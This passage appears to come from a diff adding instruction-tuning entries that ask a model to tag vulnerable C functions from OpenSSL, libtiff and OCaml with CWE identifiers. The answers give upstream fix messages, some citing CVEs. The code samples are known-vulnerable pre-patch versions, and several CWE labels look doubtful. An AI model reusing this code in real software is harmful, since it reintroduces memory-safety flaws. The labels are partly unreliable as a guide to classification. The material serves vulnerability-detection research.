num = va_arg(args, short int *);\n                    *num = currlen;\n                } else if (cflags == DP_C_LONG) { /* XXX */\n                    long int *num;\n                    num = va_arg(args, long int *);\n                    *num = (long int)currlen;\n                } else if (cflags == DP_C_LLONG) { /* XXX */\n                    LLONG *num;\n                    num = va_arg(args, LLONG *);\n                    *num = (LLONG) currlen;\n                } else {\n                    int *num;\n                    num = va_arg(args, int *);\n                    *num = currlen;\n                }\n                break;\n            case '%':\n                doapr_outch(sbuffer, buffer, &currlen, maxlen, ch);\n                break;\n            case 'w':\n                /* not supported yet, treat as next char */\n                ch = *format++;\n                break;\n            default:\n                /* unknown, skip */\n                break;\n            }\n            ch = *format++;\n            state = DP_S_DEFAULT;\n            flags = cflags = min = 0;\n            max = -1;\n            break;\n        case DP_S_DONE:\n            break;\n        default:\n            break;\n        }\n    }\n    *truncated = (currlen > *maxlen - 1);\n    if (*truncated)\n        currlen = *maxlen - 1;\n    doapr_outch(sbuffer, buffer, &currlen, maxlen, '\\0');\n    *retlen = currlen - 1;\n    return;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119'], 'message': 'Fix memory issues in BIO_*printf functions\n\nThe internal |fmtstr| function used in processing a \"%s\" format string\nin the BIO_*printf functions could overflow while calculating the length\nof a string and cause an OOB read when printing very long strings.\n\nAdditionally the internal |doapr_outch| function can attempt to write to\nan OOB memory location (at an offset from the NULL pointer) in the event of\na memory allocation failure. In 1.0.2 and below this could be caused where\nthe size of a buffer to be allocated is greater than INT_MAX. E.g. this\ncould be in processing a very long \"%s\" format string. Memory leaks can also\noccur.\n\nThese issues will only occur on certain platforms where sizeof(size_t) >\nsizeof(int). E.g. many 64 bit systems. The first issue may mask the second\nissue dependent on compiler behaviour.\n\nThese problems could enable attacks where large amounts of untrusted data\nis passed to the BIO_*printf functions. If applications use these functions\nin this way then they could be vulnerable. OpenSSL itself uses these\nfunctions when printing out human-readable dumps of ASN.1 data. Therefore\napplications that print this data could be vulnerable if the data is from\nuntrusted sources. OpenSSL command line applications could also be\nvulnerable where they print out ASN.1 data, or if untrusted data is passed\nas command line arguments.\n\nLibssl is not considered directly vulnerable. Additionally certificates etc\nreceived via remote connections via libssl are also unlikely to be able to\ntrigger these issues because of message size limits enforced within libssl.\n\nCVE-2016-0799\n\nIssue reported by Guido Vranken.\n\nReviewed-by: Andy Polyakov '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int aesni_cbc_hmac_sha1_cipher(EVP_CIPHER_CTX *ctx, unsigned char *out,\n                                      const unsigned char *in, size_t len)\n{\n    EVP_AES_HMAC_SHA1 *key = data(ctx);\n    unsigned int l;\n    size_t plen = key->payload_length, iv = 0, /* explicit IV in TLS 1.1 and\n                                                * later */\n        sha_off = 0;\n#  if defined(STITCHED_CALL)\n    size_t aes_off = 0, blocks;\n\n    sha_off = SHA_CBLOCK - key->md.num;\n#  endif\n\n    key->payload_length = NO_PAYLOAD_LENGTH;\n\n    if (len % AES_BLOCK_SIZE)\n        return 0;\n\n    if (ctx->encrypt) {\n        if (plen == NO_PAYLOAD_LENGTH)\n            plen = len;\n        else if (len !=\n                 ((plen + SHA_DIGEST_LENGTH +\n                   AES_BLOCK_SIZE) & -AES_BLOCK_SIZE))\n            return 0;\n        else if (key->aux.tls_ver >= TLS1_1_VERSION)\n            iv = AES_BLOCK_SIZE;\n\n#  if defined(STITCHED_CALL)\n        if (plen > (sha_off + iv)\n            && (blocks = (plen - (sha_off + iv)) / SHA_CBLOCK)) {\n            SHA1_Update(&key->md, in + iv, sha_off);\n\n            aesni_cbc_sha1_enc(in, out, blocks, &key->ks,\n                               ctx->iv, &key->md, in + iv + sha_off);\n            blocks *= SHA_CBLOCK;\n            aes_off += blocks;\n            sha_off += blocks;\n            key->md.Nh += blocks >> 29;\n            key->md.Nl += blocks <<= 3;\n            if (key->md.Nl < (unsigned int)blocks)\n                key->md.Nh++;\n        } else {\n            sha_off = 0;\n        }\n#  endif\n        sha_off += iv;\n        SHA1_Update(&key->md, in + sha_off, plen - sha_off);\n\n        if (plen != len) {      /* \"TLS\" mode of operation */\n            if (in != out)\n                memcpy(out + aes_off, in + aes_off, plen - aes_off);\n\n            /* calculate HMAC and append it to payload */\n            SHA1_Final(out + plen, &key->md);\n            key->md = key->tail;\n            SHA1_Update(&key->md, out + plen, SHA_DIGEST_LENGTH);\n            SHA1_Final(out + plen, &key->md);\n\n            /* pad the payload|hmac */\n            plen += SHA_DIGEST_LENGTH;\n            for (l = len - plen - 1; plen < len; plen++)\n                out[plen] = l;\n            /* encrypt HMAC|padding at once */\n            aesni_cbc_encrypt(out + aes_off, out + aes_off, len - aes_off,\n                              &key->ks, ctx->iv, 1);\n        } else {\n            aesni_cbc_encrypt(in + aes_off, out + aes_off, len - aes_off,\n                              &key->ks, ctx->iv, 1);\n        }\n    } else {\n        union {\n            unsigned int u[SHA_DIGEST_LENGTH / sizeof(unsigned int)];\n            unsigned char c[32 + SHA_DIGEST_LENGTH];\n        } mac, *pmac;\n\n        /* arrange cache line alignment */\n        pmac = (void *)(((size_t)mac.c + 31) & ((size_t)0 - 32));\n\n        /* decrypt HMAC|padding at once */\n        aesni_cbc_encrypt(in, out, len, &key->ks, ctx->iv, 0);\n\n        if (plen) {             /* \"TLS\" mode of operation */\n            size_t inp_len, mask, j, i;\n            unsigned int res, maxpad, pad, bitlen;\n            int ret = 1;\n            union {\n                unsigned int u[SHA_LBLOCK];\n                unsigned char c[SHA_CBLOCK];\n            } *data = (void *)key->md.data;\n\n            if ((key->aux.tls_aad[plen - 4] << 8 | key->aux.tls_aad[plen - 3])\n                >= TLS1_1_VERSION)\n                iv = AES_BLOCK_SIZE;\n\n            if (len < (iv + SHA_DIGEST_LENGTH + 1))\n                return 0;\n\n            /* omit explicit iv */\n            out += iv;\n            len -= iv;\n\n            /* figure out payload length */\n            pad = out[len - 1];\n            maxpad = len - (SHA_DIGEST_LENGTH + 1);\n            maxpad |= (255 - maxpad) >> (sizeof(maxpad) * 8 - 8);\n            maxpad &= 255;\n\n            inp_len = len - (SHA_DIGEST_LENGTH + pad + 1);\n            mask = (0 - ((inp_len - len) >> (sizeof(inp_len) * 8 - 1)));\n            inp_len &= mask;\n            ret &= (int)mask;\n\n            key->aux.tls_aad[plen - 2] = inp_len >> 8;\n            key->aux.tls_aad[plen - 1] = inp_len;\n\n            /* calculate HMAC */\n            key->md = key->head;\n            SHA1_Update(&key->md, key->aux.tls_aad, plen);\n\n#  if 1\n            len -= SHA_DIGEST_LENGTH; /* amend mac */\n            if (len >= (256 + SHA_CBLOCK)) {\n                j = (len - (256 + SHA_CBLOCK)) & (0 - SHA_CBLOCK);\n                j += SHA_CBLOCK - key->md.num;\n                SHA1_Update(&key->md, out, j);\n                out += j;\n                len -= j;\n                inp_len -= j;\n            }\n\n            /* but pretend as if we hashed padded payload */\n            bitlen = key->md.Nl + (inp_len << 3); /* at most 18 bits */\n#   ifdef BSWAP\n            bitlen = BSWAP(bitlen);\n#   else\n            mac.c[0] = 0;\n            mac.c[1] = (unsigned char)(bitlen >> 16);\n            mac.c[2] = (unsigned char)(bitlen >> 8);\n            mac.c[3] = (unsigned char)bitlen;\n            bitlen = mac.u[0];\n#   endif\n\n            pmac->u[0] = 0;\n            pmac->u[1] = 0;\n            pmac->u[2] = 0;\n            pmac->u[3] = 0;\n            pmac->u[4] = 0;\n\n            for (res = key->md.num, j = 0; j < len; j++) {\n                size_t c = out[j];\n                mask = (j - inp_len) >> (sizeof(j) * 8 - 8);\n                c &= mask;\n                c |= 0x80 & ~mask & ~((inp_len - j) >> (sizeof(j) * 8 - 8));\n                data->c[res++] = (unsigned char)c;\n\n                if (res != SHA_CBLOCK)\n                    continue;\n\n                /* j is not incremented yet */\n                mask = 0 - ((inp_len + 7 - j) >> (sizeof(j) * 8 - 1));\n                data->u[SHA_LBLOCK - 1] |= bitlen & mask;\n                sha1_block_data_order(&key->md, data, 1);\n                mask &= 0 - ((j - inp_len - 72) >> (sizeof(j) * 8 - 1));\n                pmac->u[0] |= key->md.h0 & mask;\n                pmac->u[1] |= key->md.h1 & mask;\n                pmac->u[2] |= key->md.h2 & mask;\n                pmac->u[3] |= key->md.h3 & mask;\n                pmac->u[4] |= key->md.h4 & mask;\n                res = 0;\n            }\n\n            for (i = res; i < SHA_CBLOCK; i++, j++)\n                data->c[i] = 0;\n\n            if (res > SHA_CBLOCK - 8) {\n                mask = 0 - ((inp_len + 8 - j) >> (sizeof(j) * 8 - 1));\n                data->u[SHA_LBLOCK - 1] |= bitlen & mask;\n                sha1_block_data_order(&key->md, data, 1);\n                mask &= 0 - ((j - inp_len - 73) >> (sizeof(j) * 8 - 1));\n                pmac->u[0] |= key->md.h0 & mask;\n                pmac->u[1] |= key->md.h1 & mask;\n                pmac->u[2] |= key->md.h2 & mask;\n                pmac->u[3] |= key->md.h3 & mask;\n                pmac->u[4] |= key->md.h4 & mask;\n\n                memset(data, 0, SHA_CBLOCK);\n                j += 64;\n            }\n            data->u[SHA_LBLOCK - 1] = bitlen;\n            sha1_block_data_order(&key->md, data, 1);\n            mask = 0 - ((j - inp_len - 73) >> (sizeof(j) * 8 - 1));\n            pmac->u[0] |= key->md.h0 & mask;\n            pmac->u[1] |= key->md.h1 & mask;\n            pmac->u[2] |= key->md.h2 & mask;\n            pmac->u[3] |= key->md.h3 & mask;\n            pmac->u[4] |= key->md.h4 & mask;\n\n#   ifdef BSWAP\n            pmac->u[0] = BSWAP(pmac->u[0]);\n            pmac->u[1] = BSWAP(pmac->u[1]);\n            pmac->u[2] = BSWAP(pmac->u[2]);\n            pmac->u[3] = BSWAP(pmac->u[3]);\n            pmac->u[4] = BSWAP(pmac->u[4]);\n#   else\n            for (i = 0; i < 5; i++) {\n                res = pmac->u[i];\n                pmac->c[4 * i + 0] = (unsigned char)(res >> 24);\n                pmac->c[4 * i + 1] = (unsigned char)(res >> 16);\n                pmac->c[4 * i + 2] = (unsigned char)(res >> 8);\n                pmac->c[4 * i + 3] = (unsigned char)res;\n            }\n#   endif\n            len += SHA_DIGEST_LENGTH;\n#  else\n            SHA1_Update(&key->md, out, inp_len);\n            res = key->md.num;\n            SHA1_Final(pmac->c, &key->md);\n\n            {\n                unsigned int inp_blocks, pad_blocks;\n\n                /* but pretend as if we hashed padded payload */\n                inp_blocks =\n                    1 + ((SHA_CBLOCK - 9 - res) >> (sizeof(res) * 8 - 1));\n                res += (unsigned int)(len - inp_len);\n                pad_blocks = res / SHA_CBLOCK;\n                res %= SHA_CBLOCK;\n                pad_blocks +=\n                    1 + ((SHA_CBLOCK - 9 - res) >> (sizeof(res) * 8 - 1));\n                for (; inp_blocks < pad_blocks; inp_blocks++)\n                    sha1_block_data_order(&key->md, data, 1);\n            }\n#  endif\n            key->md = key->tail;\n            SHA1_Update(&key->md, pmac->c, SHA_DIGEST_LENGTH);\n            SHA1_Final(pmac->c, &key->md);\n\n            /* verify HMAC */\n            out += inp_len;\n            len -= inp_len;\n#  if 1\n            {\n                unsigned char *p = out + len - 1 - maxpad - SHA_DIGEST_LENGTH;\n                size_t off = out - p;\n                unsigned int c, cmask;\n\n                maxpad += SHA_DIGEST_LENGTH;\n                for (res = 0, i = 0, j = 0; j < maxpad; j++) {\n                    c = p[j];\n                    cmask =\n                        ((int)(j - off - SHA_DIGEST_LENGTH)) >> (sizeof(int) *\n                                                                 8 - 1);\n                    res |= (c ^ pad) & ~cmask; /* ... and padding */\n                    cmask &= ((int)(off - 1 - j)) >> (sizeof(int) * 8 - 1);\n                    res |= (c ^ pmac->c[i]) & cmask;\n                    i += 1 & cmask;\n                }\n                maxpad -= SHA_DIGEST_LENGTH;\n\n                res = 0 - ((0 - res) >> (sizeof(res) * 8 - 1));\n                ret &= (int)~res;\n            }\n#  else\n            for (res = 0, i = 0; i < SHA_DIGEST_LENGTH; i++)\n                res |= out[i] ^ pmac->c[i];\n            res = 0 - ((0 - res) >> (sizeof(res) * 8 - 1));\n            ret &= (int)~res;\n\n            /* verify padding */\n            pad = (pad & ~res) | (maxpad & res);\n            out = out + len - 1 - pad;\n            for (res = 0, i = 0; i < pad; i++)\n                res |= out[i] ^ pad;\n\n            res = (0 - res) >> (sizeof(res) * 8 - 1);\n            ret &= (int)~res;\n#  endif\n            return ret;\n        } else {\n            SHA1_Update(&key->md, out, len);\n        }\n    }\n\n    return 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'Check that we have enough padding characters.\n\nReviewed-by: Emilia K\u00e4sper \n\nCVE-2016-2107\n\nMR: #2572'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: CAMLprim value caml_alloc_dummy_float (value size)\n{\n  mlsize_t wosize = Int_val(size) * Double_wosize;\n\n  if (wosize == 0) return Atom(0);\n  return caml_alloc (wosize, 0);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'fix PR#7003 and a few other bugs caused by misuse of Int_val\n\ngit-svn-id: http://caml.inria.fr/svn/ocaml/trunk@16525 f963ae5c-01c2-4b8c-9fe0-0dff7051ff02'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int ssl_scan_clienthello_custom_tlsext(SSL *s,\n                                              const unsigned char *data,\n                                              const unsigned char *limit,\n                                              int *al)\n{\n    unsigned short type, size, len;\n    /* If resumed session or no custom extensions nothing to do */\n    if (s->hit || s->cert->srv_ext.meths_count == 0)\n        return 1;\n\n    if (data >= limit - 2)\n        return 1;\n    n2s(data, len);\n\n    if (data > limit - len)\n        return 1;\n\n    while (data <= limit - 4) {\n        n2s(data, type);\n        n2s(data, size);\n\n        if (data + size > limit)\n            return 1;\n        if (custom_ext_parse(s, 1 /* server */ , type, data, size, al) <= 0)\n            return 0;\n\n        data += size;\n    }\n\n    return 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-190'], 'message': 'Avoid some undefined pointer arithmetic\n\nA common idiom in the codebase is:\n\nif (p + len > limit)\n{\n    return; /* Too long */\n}\n\nWhere \"p\" points to some malloc'd data of SIZE bytes and\nlimit == p + SIZE\n\n\"len\" here could be from some externally supplied data (e.g. from a TLS\nmessage).\n\nThe rules of C pointer arithmetic are such that \"p + len\" is only well\ndefined where len <= SIZE. Therefore the above idiom is actually\nundefined behaviour.\n\nFor example this could cause problems if some malloc implementation\nprovides an address for \"p\" such that \"p + len\" actually overflows for\nvalues of len that are too big and therefore p + len < limit!\n\nIssue reported by Guido Vranken.\n\nCVE-2016-2177\n\nReviewed-by: Rich Salz '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TIFFReadRawStrip1(TIFF* tif, uint32 strip, void* buf, tmsize_t size,\n    const char* module)\n{\n\tTIFFDirectory *td = &tif->tif_dir;\n\n    if (!_TIFFFillStriles( tif ))\n        return ((tmsize_t)(-1));\n        \n\tassert((tif->tif_flags&TIFF_NOREADRAW)==0);\n\tif (!isMapped(tif)) {\n\t\ttmsize_t cc;\n\n\t\tif (!SeekOK(tif, td->td_stripoffset[strip])) {\n\t\t\tTIFFErrorExt(tif->tif_clientdata, module,\n\t\t\t    \"Seek error at scanline %lu, strip %lu\",\n\t\t\t    (unsigned long) tif->tif_row, (unsigned long) strip);\n\t\t\treturn ((tmsize_t)(-1));\n\t\t}\n\t\tcc = TIFFReadFile(tif, buf, size);\n\t\tif (cc != size) {\n#if defined(__WIN32__) && (defined(_MSC_VER) || defined(__MINGW32__))\n\t\t\tTIFFErrorExt(tif->tif_clientdata, module,\n\t\t\"Read error at scanline %lu; got %I64u bytes, expected %I64u\",\n\t\t\t\t     (unsigned long) tif->tif_row,\n\t\t\t\t     (unsigned __int64) cc,\n\t\t\t\t     (unsigned __int64) size);\n#else\n\t\t\tTIFFErrorExt(tif->tif_clientdata, module,\n\t\t\"Read error at scanline %lu; got %llu bytes, expected %llu\",\n\t\t\t\t     (unsigned long) tif->tif_row,\n\t\t\t\t     (unsigned long long) cc,\n\t\t\t\t     (unsigned long long) size);\n#endif\n\t\t\treturn ((tmsize_t)(-1));\n\t\t}\n\t} else {\n\t\ttmsize_t ma,mb;\n\t\ttmsize_t n;\n\t\tma=(tmsize_t)td->td_stripoffset[strip];\n\t\tmb=ma+size;\n\t\tif (((uint64)ma!=td->td_stripoffset[strip])||(ma>tif->tif_size))\n\t\t\tn=0;\n\t\telse if ((mbtif->tif_size))\n\t\t\tn=tif->tif_size-ma;\n\t\telse\n\t\t\tn=size;\n\t\tif (n!=size) {\n#if defined(__WIN32__) && (defined(_MSC_VER) || defined(__MINGW32__))\n\t\t\tTIFFErrorExt(tif->tif_clientdata, module,\n\t\"Read error at scanline %lu, strip %lu; got %I64u bytes, expected %I64u\",\n\t\t\t\t     (unsigned long) tif->tif_row,\n\t\t\t\t     (unsigned long) strip,\n\t\t\t\t     (unsigned __int64) n,\n\t\t\t\t     (unsigned __int64) size);\n#else\n\t\t\tTIFFErrorExt(tif->tif_clientdata, module,\n\t\"Read error at scanline %lu, strip %lu; got %llu bytes, expected %llu\",\n\t\t\t\t     (unsigned long) tif->tif_row,\n\t\t\t\t     (unsigned long) strip,\n\t\t\t\t     (unsigned long long) n,\n\t\t\t\t     (unsigned long long) size);\n#endif\n\t\t\treturn ((tmsize_t)(-1));\n\t\t}\n\t\t_TIFFmemcpy(buf, tif->tif_base + ma,\n\t\t\t    size);\n\t}\n\treturn (size);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-189'], 'message': '* libtiff/tif_read.c: Fix out-of-bounds read on\nmemory-mapped files in TIFFReadRawStrip1() and TIFFReadRawTile1()\nwhen stripoffset is beyond tmsize_t max value (reported by\nMathias Svensson)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int dtls1_get_record(SSL *s)\n{\n    int ssl_major, ssl_minor;\n    int i, n;\n    SSL3_RECORD *rr;\n    unsigned char *p = NULL;\n    unsigned short version;\n    DTLS1_BITMAP *bitmap;\n    unsigned int is_next_epoch;\n\n    rr = &(s->s3->rrec);\n\n    /*\n     * The epoch may have changed.  If so, process all the pending records.\n     * This is a non-blocking operation.\n     */\n    if (dtls1_process_buffered_records(s) < 0)\n        return -1;\n\n    /* if we're renegotiating, then there may be buffered records */\n    if (dtls1_get_processed_record(s))\n        return 1;\n\n    /* get something from the wire */\n again:\n    /* check if we have the header */\n    if ((s->rstate != SSL_ST_READ_BODY) ||\n        (s->packet_length < DTLS1_RT_HEADER_LENGTH)) {\n        n = ssl3_read_n(s, DTLS1_RT_HEADER_LENGTH, s->s3->rbuf.len, 0);\n        /* read timeout is handled by dtls1_read_bytes */\n        if (n <= 0)\n            return (n);         /* error or non-blocking */\n\n        /* this packet contained a partial record, dump it */\n        if (s->packet_length != DTLS1_RT_HEADER_LENGTH) {\n            s->packet_length = 0;\n            goto again;\n        }\n\n        s->rstate = SSL_ST_READ_BODY;\n\n        p = s->packet;\n\n        /* Pull apart the header into the DTLS1_RECORD */\n        rr->type = *(p++);\n        ssl_major = *(p++);\n        ssl_minor = *(p++);\n        version = (ssl_major << 8) | ssl_minor;\n\n        /* sequence number is 64 bits, with top 2 bytes = epoch */\n        n2s(p, rr->epoch);\n\n        memcpy(&(s->s3->read_sequence[2]), p, 6);\n        p += 6;\n\n        n2s(p, rr->length);\n\n        /* Lets check version */\n        if (!s->first_packet) {\n            if (version != s->version) {\n                /* unexpected version, silently discard */\n                rr->length = 0;\n                s->packet_length = 0;\n                goto again;\n            }\n        }\n\n        if ((version & 0xff00) != (s->version & 0xff00)) {\n            /* wrong version, silently discard record */\n            rr->length = 0;\n            s->packet_length = 0;\n            goto again;\n        }\n\n        if (rr->length > SSL3_RT_MAX_ENCRYPTED_LENGTH) {\n            /* record too long, silently discard it */\n            rr->length = 0;\n            s->packet_length = 0;\n            goto again;\n        }\n\n        /* now s->rstate == SSL_ST_READ_BODY */\n    }\n\n    /* s->rstate == SSL_ST_READ_BODY, get and decode the data */\n\n    if (rr->length > s->packet_length - DTLS1_RT_HEADER_LENGTH) {\n        /* now s->packet_length == DTLS1_RT_HEADER_LENGTH */\n        i = rr->length;\n        n = ssl3_read_n(s, i, i, 1);\n        /* this packet contained a partial record, dump it */\n        if (n != i) {\n            rr->length = 0;\n            s->packet_length = 0;\n            goto again;\n        }\n\n        /*\n         * now n == rr->length, and s->packet_length ==\n         * DTLS1_RT_HEADER_LENGTH + rr->length\n         */\n    }\n    s->rstate = SSL_ST_READ_HEADER; /* set state for later operations */\n\n    /* match epochs.  NULL means the packet is dropped on the floor */\n    bitmap = dtls1_get_bitmap(s, rr, &is_next_epoch);\n    if (bitmap == NULL) {\n        rr->length = 0;\n        s->packet_length = 0;   /* dump this record */\n        goto again;             /* get another record */\n    }\n#ifndef OPENSSL_NO_SCTP\n    /* Only do replay check if no SCTP bio */\n    if (!BIO_dgram_is_sctp(SSL_get_rbio(s))) {\n#endif\n        /*\n         * Check whether this is a repeat, or aged record. Don't check if\n         * we're listening and this message is a ClientHello. They can look\n         * as if they're replayed, since they arrive from different\n         * connections and would be dropped unnecessarily.\n         */\n        if (!(s->d1->listen && rr->type == SSL3_RT_HANDSHAKE &&\n              s->packet_length > DTLS1_RT_HEADER_LENGTH &&\n              s->packet[DTLS1_RT_HEADER_LENGTH] == SSL3_MT_CLIENT_HELLO) &&\n            !dtls1_record_replay_check(s, bitmap)) {\n            rr->length = 0;\n            s->packet_length = 0; /* dump this record */\n            goto again;         /* get another record */\n        }\n#ifndef OPENSSL_NO_SCTP\n    }\n#endif\n\n    /* just read a 0 length packet */\n    if (rr->length == 0)\n        goto again;\n\n    /*\n     * If this record is from the next epoch (either HM or ALERT), and a\n     * handshake is currently in progress, buffer it since it cannot be\n     * processed at this time. However, do not buffer anything while\n     * listening.\n     */\n    if (is_next_epoch) {\n        if ((SSL_in_init(s) || s->in_handshake) && !s->d1->listen) {\n            if (dtls1_buffer_record\n                (s, &(s->d1->unprocessed_rcds), rr->seq_num) < 0)\n                return -1;\n            /* Mark receipt of record. */\n            dtls1_record_bitmap_update(s, bitmap);\n        }\n        rr->length = 0;\n        s->packet_length = 0;\n        goto again;\n    }\n\n    if (!dtls1_process_record(s)) {\n        rr->length = 0;\n        s->packet_length = 0;   /* dump this record */\n        goto again;             /* get another record */\n    }\n    dtls1_record_bitmap_update(s, bitmap); /* Mark receipt of record. */\n\n    return (1);\n\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-189'], 'message': 'Fix DTLS unprocessed records bug\n\nDuring a DTLS handshake we may get records destined for the next epoch\narrive before we have processed the CCS. In that case we can't decrypt or\nverify the record yet, so we buffer it for later use. When we do receive\nthe CCS we work through the queue of unprocessed records and process them.\n\nUnfortunately the act of processing wipes out any existing packet data\nthat we were still working through. This includes any records from the new\nepoch that were in the same packet as the CCS. We should only process the\nbuffered records if we've not got any data left.\n\nReviewed-by: Richard Levitte '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int ssl3_get_certificate_request(SSL *s)\n{\n    int ok, ret = 0;\n    unsigned long n, nc, l;\n    unsigned int llen, ctype_num, i;\n    X509_NAME *xn = NULL;\n    const unsigned char *p, *q;\n    unsigned char *d;\n    STACK_OF(X509_NAME) *ca_sk = NULL;\n\n    n = s->method->ssl_get_message(s,\n                                   SSL3_ST_CR_CERT_REQ_A,\n                                   SSL3_ST_CR_CERT_REQ_B,\n                                   -1, s->max_cert_list, &ok);\n\n    if (!ok)\n        return ((int)n);\n\n    s->s3->tmp.cert_req = 0;\n\n    if (s->s3->tmp.message_type == SSL3_MT_SERVER_DONE) {\n        s->s3->tmp.reuse_message = 1;\n        /*\n         * If we get here we don't need any cached handshake records as we\n         * wont be doing client auth.\n         */\n        if (s->s3->handshake_buffer) {\n            if (!ssl3_digest_cached_records(s))\n                goto err;\n        }\n        return (1);\n    }\n\n    if (s->s3->tmp.message_type != SSL3_MT_CERTIFICATE_REQUEST) {\n        ssl3_send_alert(s, SSL3_AL_FATAL, SSL_AD_UNEXPECTED_MESSAGE);\n        SSLerr(SSL_F_SSL3_GET_CERTIFICATE_REQUEST, SSL_R_WRONG_MESSAGE_TYPE);\n        goto err;\n    }\n\n    /* TLS does not like anon-DH with client cert */\n    if (s->version > SSL3_VERSION) {\n        if (s->s3->tmp.new_cipher->algorithm_auth & SSL_aNULL) {\n            ssl3_send_alert(s, SSL3_AL_FATAL, SSL_AD_UNEXPECTED_MESSAGE);\n            SSLerr(SSL_F_SSL3_GET_CERTIFICATE_REQUEST,\n                   SSL_R_TLS_CLIENT_CERT_REQ_WITH_ANON_CIPHER);\n            goto err;\n        }\n    }\n\n    p = d = (unsigned char *)s->init_msg;\n\n    if ((ca_sk = sk_X509_NAME_new(ca_dn_cmp)) == NULL) {\n        SSLerr(SSL_F_SSL3_GET_CERTIFICATE_REQUEST, ERR_R_MALLOC_FAILURE);\n        goto err;\n    }\n\n    /* get the certificate types */\n    ctype_num = *(p++);\n    if (ctype_num > SSL3_CT_NUMBER)\n        ctype_num = SSL3_CT_NUMBER;\n    for (i = 0; i < ctype_num; i++)\n        s->s3->tmp.ctype[i] = p[i];\n    p += ctype_num;\n    if (TLS1_get_version(s) >= TLS1_2_VERSION) {\n        n2s(p, llen);\n        /*\n         * Check we have enough room for signature algorithms and following\n         * length value.\n         */\n        if ((unsigned long)(p - d + llen + 2) > n) {\n            ssl3_send_alert(s, SSL3_AL_FATAL, SSL_AD_DECODE_ERROR);\n            SSLerr(SSL_F_SSL3_GET_CERTIFICATE_REQUEST,\n                   SSL_R_DATA_LENGTH_TOO_LONG);\n            goto err;\n        }\n        if ((llen & 1) || !tls1_process_sigalgs(s, p, llen)) {\n            ssl3_send_alert(s, SSL3_AL_FATAL, SSL_AD_DECODE_ERROR);\n            SSLerr(SSL_F_SSL3_GET_CERTIFICATE_REQUEST,\n                   SSL_R_SIGNATURE_ALGORITHMS_ERROR);\n            goto err;\n        }\n        p += llen;\n    }\n\n    /* get the CA RDNs */\n    n2s(p, llen);\n#if 0\n    {\n        FILE *out;\n        out = fopen(\"/tmp/vsign.der\", \"w\");\n        fwrite(p, 1, llen, out);\n        fclose(out);\n    }\n#endif\n\n    if ((unsigned long)(p - d + llen) != n) {\n        ssl3_send_alert(s, SSL3_AL_FATAL, SSL_AD_DECODE_ERROR);\n        SSLerr(SSL_F_SSL3_GET_CERTIFICATE_REQUEST, SSL_R_LENGTH_MISMATCH);\n        goto err;\n    }\n\n    for (nc = 0; nc < llen;) {\n        n2s(p, l);\n        if ((l + nc + 2) > llen) {\n            if ((s->options & SSL_OP_NETSCAPE_CA_DN_BUG))\n                goto cont;      /* netscape bugs */\n            ssl3_send_alert(s, SSL3_AL_FATAL, SSL_AD_DECODE_ERROR);\n            SSLerr(SSL_F_SSL3_GET_CERTIFICATE_REQUEST, SSL_R_CA_DN_TOO_LONG);\n            goto err;\n        }\n\n        q = p;\n\n        if ((xn = d2i_X509_NAME(NULL, &q, l)) == NULL) {\n            /* If netscape tolerance is on, ignore errors */\n            if (s->options & SSL_OP_NETSCAPE_CA_DN_BUG)\n                goto cont;\n            else {\n                ssl3_send_alert(s, SSL3_AL_FATAL, SSL_AD_DECODE_ERROR);\n                SSLerr(SSL_F_SSL3_GET_CERTIFICATE_REQUEST, ERR_R_ASN1_LIB);\n                goto err;\n            }\n        }\n\n        if (q != (p + l)) {\n            ssl3_send_alert(s, SSL3_AL_FATAL, SSL_AD_DECODE_ERROR);\n            SSLerr(SSL_F_SSL3_GET_CERTIFICATE_REQUEST,\n                   SSL_R_CA_DN_LENGTH_MISMATCH);\n            goto err;\n        }\n        if (!sk_X509_NAME_push(ca_sk, xn)) {\n            SSLerr(SSL_F_SSL3_GET_CERTIFICATE_REQUEST, ERR_R_MALLOC_FAILURE);\n            goto err;\n        }\n        xn = NULL;\n\n        p += l;\n        nc += l + 2;\n    }\n\n    if (0) {\n cont:\n        ERR_clear_error();\n    }\n\n    /* we should setup a certificate to return.... */\n    s->s3->tmp.cert_req = 1;\n    s->s3->tmp.ctype_num = ctype_num;\n    if (s->s3->tmp.ca_names != NULL)\n        sk_X509_NAME_pop_free(s->s3->tmp.ca_names, X509_NAME_free);\n    s->s3->tmp.ca_names = ca_sk;\n    ca_sk = NULL;\n\n    ret = 1;\n    goto done;\n err:\n    s->state = SSL_ST_ERR;\n done:\n    X509_NAME_free(xn);\n    if (ca_sk != NULL)\n        sk_X509_NAME_pop_free(ca_sk, X509_NAME_free);\n    return (ret);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 